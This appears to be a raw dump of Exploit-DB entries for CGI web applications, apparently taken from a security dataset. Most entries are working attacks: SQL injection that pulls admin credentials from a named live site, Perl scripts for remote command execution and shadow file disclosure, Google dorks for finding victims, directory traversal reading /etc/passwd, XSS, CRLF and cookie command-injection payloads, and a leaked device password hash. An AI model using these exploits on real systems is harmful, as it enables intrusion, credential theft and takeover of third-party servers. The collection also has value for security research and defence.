deardaniel/secdata-raw huggingface dataset:
Exploit-DB #4264
Description: Cartweaver 2.16.11 - 'ProdID' SQL Injection
Type: webapps
Platform: cgi
Date: 2007-08-06
Author: meoconx

Exploit:
author:meoconx[at]vnbrain.net
product:CartWeaver
main site:www.cartweaver.com
1.with CFM CartWeaver:
sql injection in:
Details.cfm?ProdID=a'

demo:
http://www.jbracing.co.uk/Details.cfm?ProdID=1'
****************
exploit:
http://www.xxx.com/Details.cfm?ProdID=[sql query]
****************
link admin:
http://www.xxx.com/[script path]/cw2/admin/
****************
dork:
allinurl:Details.cfm ?ProdID=
allinurl:Results.cfm?category=
***************
********************
An example:
http://www.xxxxx.co.uk/Details.cfm?ProdID=1'
********************
exploit it:
-get username:
http://www.xxxxx.co.uk/Details.cfm?ProdID=1%20and%201=convert(int,(select%20top%201%20admin_username%20from%20tbl_adminusers))
Conversion failed when converting the nvarchar value 'jim' to data type int.
==> the username is "jim"
-get password:
http://www.xxxxx.co.uk/Details.cfm?ProdID=1%20and%201=convert(int,(select%20top%201%20char(97)%2badmin_password%20from%20tbl_adminusers))
Conversion failed when converting the nvarchar value 'a518888' to data type int. The error occurred. on line 116.
==> the password is "51888"( because we added the "a" in the query to get the number that can be converted to integer value)
-now, login into admin:
http://www.xxxxx.co.uk/cw2/admin/

# milw0rm.com [2007-08-06]
Exploit-DB #1669
Description: Censtore 7.3.x - 'censtore.cgi' Remote Command Execution
Type: webapps
Platform: cgi
Date: 2006-04-13
Author: FOX_MULDER

Exploit:
#!/usr/bin/perl
#
#  Censtore.cgi exploit by FOX_MULDER (fox_mulder@abv.bg)
#
#  Vulnerability foud by FOX_MULDER.
#
#  This is the first exploit i release and the bug is not public so enjoy.
#  Ask http://censtore.com/ what they think about it !!!  
#
###########################

use IO::Socket;
use LWP::Simple; 

sub Usage {
print STDERR "\nFOX_MULDER DID IT AGAIN !!!\n";
print STDERR "Usage:\ncenex.pl <www.example.com> </path/> \"cmd\"\n";
exit;
}

if (@ARGV < 3)
{
 Usage();
}


$host = @ARGV[0];
$path = @ARGV[1];
$command = @ARGV[2];
print "\n\n !!! ULTRA PRIVATE EDITION !!! \n\n";
print "censtore.cgi Remote Command Execution Exploit by FOX_MULDER\n";

print "\n[+] Conecting to $host\n";

my $result = get("http://$host$path/censtore.cgi?page=|$command|"); 

if (defined $result) { 
print $result; 
} 
else { 
print "Error with request.\n"; 
}

# milw0rm.com [2006-04-13]
Exploit-DB #25918
Description: CGI-Club imTRBBS 1.0 - Remote Command Execution
Type: webapps
Platform: cgi
Date: 2005-06-29
Author: blahplok

Exploit:
source: https://www.securityfocus.com/bid/14091/info

imTRBBS is affected by a remote command execution vulnerability.

Specifically, an attacker can supply arbitrary commands prefixed with the '|' character through the 'im_trbbs.cgi' script that will be executed in the context of the Web server running the application.

This issue is reported to affect imTRBBS version 1.02; other versions may also be vulnerable. 

http://www.example.com/cgi-bin/im_trbbs.cgi?uid=parameter&df=bbs.dat|ls|
Exploit-DB #30156
Description: CGILua 3.0 - SQL Injection
Type: webapps
Platform: cgi
Date: 2013-12-09
Author: aceeeeeeeer .

Exploit:
# Exploit Title: CGILua SQL Injection
# Google Dork: inurl:/cgilua.exe/sys/
# Vendor Homepage: https://web.tecgraf.puc-rio.br/cgilua/
# Version: < = 3.0
# Date: 09/12/2013
# Exploit Author: aceeeeeeeer
# Contact: http://www.twitter.com/aceeeeeeeer
# Tested on: Windows
####################################################################################
greetz: CrazyDuck - Synchr0N1ze - No\one - Kouback_TR_ - unknow_antisec -
elCorpse
Clandestine - MentorSec - Titio Vamp - LLL - Slayer Owner - masoqfellipe
####################################################################################

Exploit: /cgi/cgilua.exe/sys/start.htm?sid=[ SQLi ]

Demo: http://www.server.com/publique/cgi/cgilua.exe/sys/start.htm?sid=157
Exploit-DB #21495
Description: CGIScript.net - 'csPassword.cgi' 1.0 HTAccess File Modification
Type: webapps
Platform: cgi
Date: 2002-05-30
Author: Steve Gustin

Exploit:
source: https://www.securityfocus.com/bid/4888/info

CGIScript.net provides various webmaster related tools and is maintained by Mike Barone and Andy Angrick.

A vulnerability has been reported in the csPassword.cgi script developed by CGIScript.net. It is possible for an authenticated user to add directives and make changes to the generated .htaccess file. 

javascript:void(document.form1.title.outerHTML="<textarea name=title>&lt;/textarea&gt;");

Adding the javascript as part of the URL will change the text field into a textbox allowing users to enter newlines and other characters.
Exploit-DB #21494
Description: CGIScript.net - 'csPassword.cgi' 1.0 Information Disclosure
Type: webapps
Platform: cgi
Date: 2002-05-30
Author: Steve Gustin

Exploit:
source: https://www.securityfocus.com/bid/4887/info

CGIScript.net provides various webmaster related tools and is maintained by Mike Barone and Andy Angrick.

A vulnerability has been reported in the csPassword.cgi script developed by CGIScript.net that discloses potentially sensitive information to a user. When an error occurs with the csPassword.cgi script, it displays an error message with a lot of debugging information.

http://target/csPassword.cgi?command=remove

This will cause csPassword to execute the remove() function. This function is not defined and thus will cause an error page to be displayed.
Exploit-DB #21460
Description: CGIScript.net 1.0 - Information Disclosure
Type: webapps
Platform: cgi
Date: 2002-05-17
Author: Steve Gustin

Exploit:
source: https://www.securityfocus.com/bid/4764/info

CGIScript.net provides various webmaster related tools and is maintained by Mike Barone and Andy Angrick.

It is possible to cause numerous scripts provided by CGIScript.net to disclose sensitive system information.

The following is a list of cgi scripts that are susceptible to this issue:

csBanner.cgi
csCreatePro.cgi
CSDownload.cgi
csFAQ.cgi
CSFiler.cgi
CSFileshare.cgi
CSGrid.cgi
CSIncludes.cgi
CSMailto.cgi
CSNews.cgi
CSNews.cgi (pro version)
CSRandomText.cgi
CSUpload.cgi

Path, form input, and environment variable information is disclosed when a malformed POST request is submitted. This information may aid the attacker in making further attacks against the host. 

#!/usr/bin/perl
# show_debug_data.pl
# make cgiscript.net scripts dump debug data

use strict;
use IO::Socket::Inet;

my $host = 'hostname.com';
my $path = '/cgi-script/CSMailto/CSMailto.cgi';

my $sock = IO::Socket::INET->new("$host:80");
print $sock "POST $path\n";
print $sock "Content-type: multipart/form-data;";
print $sock " boundary=--\n\n";
print <$sock>;
close($sock);
Exploit-DB #24237
Description: CGIScript.net CSFAQ 1.0 Script - Full Path Disclosure
Type: webapps
Platform: cgi
Date: 2004-06-28
Author: DarkBicho

Exploit:
source: https://www.securityfocus.com/bid/10618/info

A vulnerability has been identified in the application that may allow an attacker to disclose the installation path.

Successful exploitation of this vulnerability may allow an attacker to gain sensitive information about the file system that may aid in launching more direct attacks against the system.

All current versions of csFAQ are considered vulnerable to this issue. 

http://www.example.com/cgi-script/csFAQ/csFAQ.cgi?command=viewFAQ&database=/.darkbicho
Exploit-DB #21532
Description: CGIScript.net csNews 1.0 - Double URL Encoding Unauthorized Administrative Access
Type: webapps
Platform: cgi
Date: 2002-06-11
Author: Steve Gustin

Exploit:
source: https://www.securityfocus.com/bid/4993/info

csNews is a script for managing news items on a website. It will run on most Unix and Linux variants, as well as Microsoft Windows operating systems.

Users with "public" access to the system may be able to view and modify some administration pages. This is accomplished by submitting a HTTP request in which some metacharacters are double URL encoded.


CSNews.cgi?database=default%2edb&command=showadv&mpage=manager
CSNews.cgi?command=manage&database=default%2edb&mpage=manager
Exploit-DB #21533
Description: CGIScript.net csNews 1.0 - Header File Type Restriction Bypass
Type: webapps
Platform: cgi
Date: 2002-06-11
Author: Steve Gustin

Exploit:
source: https://www.securityfocus.com/bid/4994/info

csNews is a script for managing news items on a website. It will run on most Unix and Linux variants, as well as Microsoft Windows operating systems.

It is possible for a malicious admin user to bypass file type restrictions on the header and footer file. This may result in arbitrary system files being displayed to remote users, and the disclosure of sensitive information.

The ability to exploit this vulnerability may only require "public" access to csNews if used in conjunction with issues discussed in BID 4993.

javascript:alert(document.form1.pheader.value='setup.cgi');
Exploit-DB #45148
Description: cgit < 1.2.1 - 'cgit_clone_objects()' Directory Traversal
Type: webapps
Platform: cgi
Date: 2018-08-03
Author: Google Security Research

Exploit:
There is a directory traversal vulnerability in cgit_clone_objects(), reachable when the configuration flag enable-http-clone is set to 1 (default):

void cgit_clone_objects(void)
{
    if (!ctx.qry.path) {
        cgit_print_error_page(400, "Bad request", "Bad request");
        return;
    }

    if (!strcmp(ctx.qry.path, "info/packs")) {
        print_pack_info();
        return;
    }

    send_file(git_path("objects/%s", ctx.qry.path));
}

send_file() is a function that simply sends the data stored at the given filesystem path out over the network.
git_path() partially rewrites the provided path and e.g. prepends the base path of the repository, but it does not sanitize the provided path to prevent directory traversal.

ctx.qry.path can come from querystring_cb(), which takes unescaped data from the querystring. To trigger this case:

$ curl http://127.0.0.1/cgit/cgit.cgi/git/objects/?path=../../../../../../../etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
Exploit-DB #22111
Description: CHETCPASSWD 1.12 - Shadow File Disclosure
Type: webapps
Platform: cgi
Date: 2002-12-22
Author: Victor Pereira

Exploit:
source: https://www.securityfocus.com/bid/6472/info

CHETCPASSWD is prone to a vulnerability that may potentially cause the tail end of the local shadow file to be disclosed to a remote attacker.

It is possible to exploit this issue by sending an overly long string as a value for the 'user' URI parameter in a request to the 'chetcpasswd.cgi'.

#!/usr/bin/perl -w
#Exploit coded by Victor Pereira <vpereira@modulo.com.br>
#Thanks to Alexandre Vargas And Thiago Zaninotti
use strict;
use Socket;
my ($remote,$port, $iaddr, $paddr,
$proto,$linha,$query,$len_query,$ARGC,$fakeuser,$linhas,$pattern);

$ARGC=@ARGV;
if($ARGC < 1){
        print "chetcpasswd.cgi exploit\n";
 print "coded by VP <vpereira\@modulo.com.br>\n";
        print "Usage:$0 <host>\n";
        exit;
}
$fakeuser="ASSHOLEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEE";
$pattern="User: E*E";

$query="user=$fakeuser&old_pw=teste&new_pw1=teste1&new_pw2=teste1&change='Altere minha senha'";

$len_query=length($query);
$remote = $ARGV[0];
$port = 80; # random port
if ($port =~ /\D/) { $port = getservbyname($port, 'tcp') }
die "No port" unless $port;
$iaddr = inet_aton($remote) || die "no host: $remote";
$paddr = sockaddr_in($port, $iaddr);

$proto = getprotobyname('tcp');
socket(SOCK, PF_INET, SOCK_STREAM, $proto) || die "socket: $!";
connect(SOCK, $paddr) || die "connect: $!";
select(SOCK); $|=1; select(STDOUT);
print SOCK "POST /cgi-bin/chetcpasswd.cgi HTTP/1.0\n";
print SOCK "Connection: Keep-Alive\n";
print SOCK "Content-type: application/x-www-form-urlencoded\n";
print SOCK "Content-length: $len_query\n";
print SOCK "\n$query\r\n\r\n";

$linha = "";
while (<SOCK>) {

    $linha = $_;
    if($linha =~ s/<.*?>//g){
         $linha =~ s/$pattern//g;
         print $linha;
}
close (SOCK) || die "close: $!";
exit;
Exploit-DB #48040
Description: CHIYU BF430 TCP IP Converter - Stored Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2020-02-11
Author: Luca.Chiou

Exploit:
# Exploit Title: CHIYU BF430 TCP IP Converter - Stored Cross-Site Scripting
# Google Dork: In Shodan search engine, the filter is "CHIYU"
# Date: 2020-02-11
# Exploit Author: Luca.Chiou
# Vendor Homepage: https://www.chiyu-t.com.tw/en/
# Version: BF430 232/485 TCP/IP Converter all versions prior to 1.16.00
# Tested on: It is a proprietary devices: https://www.chiyu-t.com.tw/en/product/rs485-to-tcp_ip-converter_BF-430.html
# CVE: CVE-2020-8839

# 1. Description:
# In CHIYU BF430 web page,
# user can modify the system configuration by access the /if.cgi.
# Attackers can inject malicious XSS code in "TF_submask" field.
# The XSS code will be stored in the database, so that causes a stored XSS vulnerability.

# 2. Proof of Concept:
# Access the /if.cgi of CHIYU BF430 232/485 TCP/IP Converter.
# Injecting the XSS code in parameter “TF_submask”:
# http://<Your Modem IP>/if.cgi?TF_submask=%22%3E%3Cscript%3Ealert%28123%29%3C%2Fscript%3E

==---------------------------------------------------------------
This email contains information that is for the sole use of the intended recipient and may be confidential or privileged. If you are not the intended recipient, note that any disclosure, copying, distribution, or use of this email, or the contents of this email is prohibited. If you have received this email in error, please notify the sender of the error and delete the message. Thank you.
---------------------------------------------------------------==!!
Exploit-DB #49923
Description: CHIYU TCP/IP Converter devices - CRLF injection
Type: webapps
Platform: cgi
Date: 2021-06-01
Author: sirpedrotavares

Exploit:
# Exploit Title: CHIYU TCP/IP Converter devices - CRLF injection
# Date: May 31 2021
# Exploit Author: sirpedrotavares
# Vendor Homepage: https://www.chiyu-tech.com/msg/msg88.html
# Software Link: https://www.chiyu-tech.com/category-hardware.html
# Version:  BF-430, BF-431, and BF-450M TCP/IP Converter devices   - all firmware versions < June 2021
# Tested on:  BF-430, BF-431, and BF-450M
# Publication: https://seguranca-informatica.pt/dancing-in-the-iot-chiyu-devices-vulnerable-to-remote-attacks

Description: A CRLF injection vulnerability was found on BF-430, BF-431, and BF-450M TCP/IP Converter devices from CHIYU Technology Inc due to a lack of validation on the parameter redirect= available on multiple CGI components.
CVSS: Medium – CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
URL: https://gitbook.seguranca-informatica.pt/cve-and-exploits/cves/chiyu-iot-devices#cve-2021-31249

Affected parameter: redirect=Component: all the CGI components
Payload: %0d%0a%0d%0a<script>alert(document.domain)</script>

====HTTP request======
GET
/man.cgi?redirect=setting.htm%0d%0a%0d%0a<script>alert(document.domain)</script>&failure=fail.htm&type=dev_name_apply&http_block=0&TF_ip0=192&TF_ip1=168&TF_ip2=200&TF_ip3=200&TF_port=&TF_port=&B_mac_apply=APPLY
HTTP/1.1
Host: 192.168.187.12
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.187.12/manage.htm
Authorization: Basic OmFkbWlu
Connection: close
Upgrade-Insecure-Requests: 1

======HTTP response========
HTTP/1.1 302 Found
Location: setting.htm
<script>alert(document.domain)</script>
Content-Length: 0
Content-Type: text/html


Steps to reproduce:
  1. Navigate to the vulnerable device
  2. Make a GET request to all CGI components
  3. Append the payload at the end of the vulnerable parameter (redirect )
  4. Submit the request and observe payload execution


 Mitigation: The latest version of the CHIYU firmware should be installed
to mitigate this vulnerability.
Exploit-DB #27464
Description: Cholod MySQL Based Message Board - 'Mb.cgi' SQL Injection
Type: webapps
Platform: cgi
Date: 2006-03-24
Author: kspecial

Exploit:
source: https://www.securityfocus.com/bid/17224/info

MySQL Based Message Board is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/cgi-bin/mb.cgi?action=showmessage&topicnumber=1&threadnumber=7
&category=Computer&topic=Linux&username=K-sPEcial
Exploit-DB #42346
Description: Citrix CloudBridge - 'CAKEPHP' Cookie Command Injection
Type: webapps
Platform: cgi
Date: 2017-07-19
Author: xort

Exploit:
POST /cgi-bin/login.cgi?redirect=/ HTTP/1.1
Host: 10.242.129.149
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: https://10.242.129.149/cgi-bin/login.cgi?redirect=/
Cookie: CAKEPHP=`sleep 10`
Content-Type: application/x-www-form-urlencoded
Content-Length: 13

action=logout
Exploit-DB #30777
Description: Citrix Netscaler 8.0 build 47.8 - Generic_API_Call.pl Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2007-11-19
Author: nnposter

Exploit:
source: https://www.securityfocus.com/bid/26491/info

Citrix NetScaler is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Citrix NetScaler 8.0 build 47.8 is vulnerable; other versions may also be affected. 

http://www.example.com/ws/generic_api_call.pl?function=statns&standalone=%3c/script%3e%3cscript%3ealert(document.cookie)%3c/script%3e%3cscript%3e
Exploit-DB #40112
Description: Clear Voyager Hotspot IMW-C910W - Arbitrary File Disclosure
Type: webapps
Platform: cgi
Date: 2016-07-15
Author: Damaster

Exploit:
- # Exploit Title: clear voyager hotspot IMW-C910W - file disclosure
- # Date: 2016/jul/15
- # Exploit Author: Damaster
- # Vendor Homepage: https://www.sprint.com/
- # Software Link: https://web.archive.org/web/[PII_REDACTED]2938/http://www.clearwire.com/downloads/IMW-C910W_V2234_R4383A.bin
- # Version: R4383
-  
- poc : http://192.168.1.1/cgi-bin/getlog.cgi?filename=../../etc/passwd
-  
- vulnerable Device Software Version : R4383
-  
- super user password
- =================
- file : /etc/httpd/super.htpasswd
- content : super:YBfFG25mEAdSg
- =================
Exploit-DB #23894
Description: Cloisterblog 1.2.2 - Journal.pl Directory Traversal
Type: webapps
Platform: cgi
Date: 2004-03-29
Author: Dotho

Exploit:
source: https://www.securityfocus.com/bid/10000/info

A vulnerability has been reported to exist in Cloisterblog that may allow a remote attacker to access information outside the server root directory. The problem exists due to insufficient sanitization of user-supplied data. The issue may allow a remote attacker to traverse outside the server root directory by using '../' character sequences.

Successful exploitation of this vulnerability may allow a remote attacker to gain access to sensitive information that may be used to launch further attacks against a vulnerable system. 

http://www.example.com/cloisterblog/journal.pl?syear=2004&sday=11&smonth=../../../../../../../../etc/passwd%00
Exploit-DB #23395
Description: CommerceSQL Shopping Cart 2.2 - 'index.cgi' Directory Traversal
Type: webapps
Platform: cgi
Date: 2003-11-24
Author: Mariusz Ciesla

Exploit:
source: https://www.securityfocus.com/bid/9094/info

It has been reported that CommerceSQL may be prone to a directory traversal vulnerability that may allow an attacker to gain access to sensitive information. The issue presents itself due to insufficient sanitization of user-supplied input. An attacker may traverse outside the server root directory by using '../' character sequences. 

index.cgi?page=../../../../../../../../etc/passwd
Exploit-DB #27682
Description: CommuniMail 1.2 - 'mailadmin.cgi?list_id' Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2006-04-19
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/17602/info

CommuniMail is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/cgi-bin/communimail/mailadmin.cgi?saction=show_contacts&list_id=[XSS]
Exploit-DB #27683
Description: CommuniMail 1.2 - 'templates.cgi?form_id' Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2006-04-19
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/17602/info
 
CommuniMail is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
 
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/cgi-bin/communimail/templates.cgi?saction=edit_form&form_id=[XSS]